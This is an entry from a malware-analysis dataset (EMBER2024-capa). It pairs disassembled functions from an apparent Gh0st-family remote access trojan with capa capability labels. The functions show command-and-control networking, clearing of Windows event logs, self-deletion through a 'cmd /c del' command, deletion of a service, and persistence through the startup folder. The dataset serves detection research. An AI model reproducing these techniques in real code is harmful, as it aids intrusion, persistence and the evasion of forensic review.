joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402200
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.00402600
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [esp + 0x2c]
mov dword [esi + 0xa8], eax
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x40224d
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov edx, dword [esp + 0x30]
mov word [esp + 0x18], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x1c]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402292
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0xb]
push 1
push edx
push 8
push 0xffff
push eax
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4022f0
push eax
lea ecx, [esp + 0xf]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x20]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x402320
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.00414750
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8

Function at 0x402800
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x18]
cmp ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
jb 0x40286a
xor ebp, ebp
mov eax, dword [esp + 0x10]
push 0
push esi
push edi
mov ecx, dword [eax + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40284c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
cmp ebp, 0xf
jge 0x4028b4
jmp 0x402823
mov ecx, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add ecx, eax
push 0xa
mov dword [esp + 0x1c], ecx
add edi, esi
call ebp
sub ebx, esi
cmp ebx, esi
jb 0x402870
jmp 0x402821
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jle 0x4028a8
xor esi, esi
mov edx, dword [esp + 0x10]
push 0
push ebx
push edi
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x4028a4
push 0x64
call ebp
inc esi
cmp esi, 0xf
jl 0x402876
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret 0xc
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
cmp eax, ecx
je 0x4028b7
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x4028d0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x4028e3
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402911
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret

Function at 0x402a30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x402ada
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 4]
lea edx, [esp + 0xc]
push ecx
push edx
push 0
push str.ProductName
push eax
mov dword [esp + 0x1c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0xc]
push str.2000
push edx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x402b23
lea eax, [esp + 0xc]
push str.2003
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x402b23
lea ecx, [esp + 0xc]
push str.2008
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x402b23
add esp, 0x190
ret
mov eax, 1
add esp, 0x190
ret
Function at 0x4058c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.DeleteFileA
mov dword [ebp - 0x14], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.RemoveDirectoryA
push str.kernel32.dll
call esi
push eax
call edi
push str.FindClose
push str.KERNEL32.dll
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push str.FindNextFileA
push str.KERNEL32.dll
mov dword [ebp - 0x1c], eax
call esi
push eax
call edi
push str.FindFirstFileA
push str.KERNEL32.dll
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
mov al, 0x2a
mov byte [ebp - 5], al
mov byte [ebp - 3], al
lea eax, [ebp - 8]
push edi
lea ecx, [ebp - 0x260]
push eax
push ecx
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 4], 0x2e
mov byte [ebp - 2], 0
call ebx
add esp, 0xc
lea edx, [ebp - 0x15c]
lea eax, [ebp - 0x260]
push edx
push eax
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40599a
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x130], 0x2e
je 0x4059fb
mov al, byte [ebp - 0x15c]
lea ecx, [ebp - 0x130]
push ecx
push edi
test al, 0x10
push str._s_s
je 0x4059e5
lea edx, [ebp - 0x468]
push edx
call ebx
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea eax, [ebp - 0x468]
push eax
call fcn.004058c0
jmp 0x4059fb
lea edx, [ebp - 0x364]
push edx
call ebx
add esp, 0x10
lea eax, [ebp - 0x364]
push eax
call dword [ebp - 0x10]
lea ecx, [ebp - 0x15c]
push ecx
push esi
call dword [ebp - 0x18]
test eax, eax
jne 0x4059a8
nop
nop
nop
nop
nop
nop
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call ebx
push esi
call dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
push 0
call ebx
push edi
call dword [ebp - 0xc]
test eax, eax
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405cb0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
mov al, 0x65
push ebx
push ebp
mov byte [esp + 0x24], al
mov byte [esp + 0x2a], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, ecx
lea eax, [esp + 0x24]
push edi
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x6f
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x35], 0x48
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], 0x64
mov byte [esp + 0x39], cl
mov byte [esp + 0x3b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateFileA
push str.kernel32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.ReadFile
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.LocalAlloc
push str.kernel32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.LocalFree
push str.kernel32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
mov edi, dword [esp + 0x38]
mov dword [esp + 0x24], eax
cmp dword [edi + 4], 0xffffffff
jne 0x405d8e
mov ecx, ebx
call fcn.00405ff0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [ebx + 0x20]
push bind
push ecx
call ebp
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x405db9
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x24
ret 4
mov edx, dword [edi + 4]
push 0
push edi
push edx
push ebp
call dword [esp + 0x24]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [esp + 0x20]
mov esi, eax
lea edx, [esp + 0x10]
push 0
push edx
mov byte [esi], 0x6a
mov eax, dword [edi]
mov dword [esi + 1], eax
mov ecx, dword [edi + 4]
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebp
mov dword [esi + 5], ecx
call dword [esp + 0x30]
push ebp
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x405e29
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.004089a0
push esi
mov edi, eax
call dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
mov ecx, ebx
call fcn.00405ff0
mov edi, dword [esp + 0x38]
push esi
call dword [esp + 0x28]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x405e50
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x28
mov al, 0x65
push ebx
push ebp
mov byte [esp + 0x28], al
mov byte [esp + 0x2e], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, ecx
lea eax, [esp + 0x28]
push edi
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov dword [esp + 0x2c], ebp
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], 0x73
mov byte [esp + 0x39], 0x48
mov byte [esp + 0x3a], 0x61
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x64
mov byte [esp + 0x3d], cl
mov byte [esp + 0x3f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateFileA
push str.kernel32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.GetFileSize
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.LocalAlloc
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.LocalFree
push str.kernel32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.lstrlenA
push str.KERNEL32.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
lea edx, [ebp + 0x20]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x3c]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 1
push bind
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x405f6c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret 4
lea ecx, [esp + 0x20]
push ecx
push edi
call dword [esp + 0x1c]
push edi
mov esi, eax
call dword [esp + 0x1c]
push ebp
call dword [esp + 0x14]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [esp + 0x24]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x20]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x3c]
push esi
mov dword [ebx + 1], eax
call dword [esp + 0x14]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x2c]
call fcn.004089a0
push ebx
mov esi, eax
call dword [esp + 0x2c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4

Function at 0x4068b0
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x71
mov ecx, edi
call fcn.00406050
pop edi
pop esi
ret 4
Function at 0x407800
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 8
inc esi
jne 0x407821
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.00414ce0
add esp, 8
test al, al
jne 0x407835
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x407880
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x154
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x40793b
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x5c]
push str.Program_FilesInternet_ExplorerIEXPLORE.EXE
push ecx
mov byte [esp + 0x67], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea edx, [esp + 0x7c]
push ebx
push edx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], sym.imp.MSVCRT.dll__iob
mov dword [esp + 0x6c], sym.imp.MSVCRT.dll___set_app_type
mov dword [esp + 0x70], sym.imp.MSVCRT.dll__XcptFilter
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x154
ret
mov eax, dword [esp + 0x15c]
push 1
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor al, al
pop ebx
add esp, 0x154
ret

Function at 0x407960
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x4079b0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x407997
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4079d0
Capabilities:
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push str.SYSTEMSetup
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x407a0e
mov edx, dword [esp + 8]
push edi
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 8]
push edx
push 1
push eax
push str.Host
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret

Function at 0x407ae0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9d50]
mov dword [ebx], 0x41d4fc
test eax, eax
jbe 0x407b24
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x110]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9d50]
inc edi
add esi, 4
cmp edi, eax
jb 0x407b04
pop esi
pop ebp
mov ecx, ebx
call fcn.00408970
pop edi
pop ebx
ret
Function at 0x407e80
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
push edi
lea eax, [ebp - 0x25c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x407fee
lea ecx, [ebp - 0x25c]
push 0x104
lea edx, [ebp - 0x25c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x407fee
lea eax, [ebp - 0x360]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x407fee
lea ecx, [ebp - 0x158]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x25c]
lea eax, [ebp - 0x158]
push edx
push eax
call esi
lea ecx, [ebp - 0x158]
push str.___nul
push ecx
call esi
lea edx, [ebp - 0x158]
lea eax, [ebp - 0x360]
push edx
push eax
call esi
nop
nop
nop
nop
nop
nop
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [ebp - 0x24], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
push 0x100
mov dword [ebp - 4], ecx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x54]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [ebp - 0x360]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x407fdc
mov edx, dword [ebp - 0x10]
push 0x40
push edx
call esi
mov eax, dword [ebp - 0xc]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0x20
call ebx
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408000
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x4223b4]
test eax, eax
jne 0x408111
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x46c]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x46c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x368]
push 7
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str.c821651005b678663366d90ed100998c
lea edx, [ebp - 0x5c]
push str._s.exe
push edx
call esi
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x368]
push eax
push ecx
lea edx, [ebp - 0x674]
push str._s_s
push edx
call esi
add esp, 0x1c
lea eax, [ebp - 0x570]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x39
lea ecx, [ebp - 0x570]
push eax
push ecx
lea edx, [ebp - 0x264]
push str._s_x.sg
push edx
call esi
add esp, 0x10
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x674]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [ebp - 0x264]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x368]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Cummer_jrq
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
pop edi
pop esi
lea ecx, [ebp - 0x160]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov al, 0x6f
lea edx, [ebp - 0xc]
mov byte [ebp - 0xb], al
mov byte [ebp - 7], al
lea eax, [ebp - 0x160]
push edx
push eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.BITS
push str.Aw4FDA0FEKY
push str.c821651005b678663366d90ed100998c
call fcn.00414e90
add esp, 0xc
call fcn.00407e80
push 0
call sub.MSVCRT.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop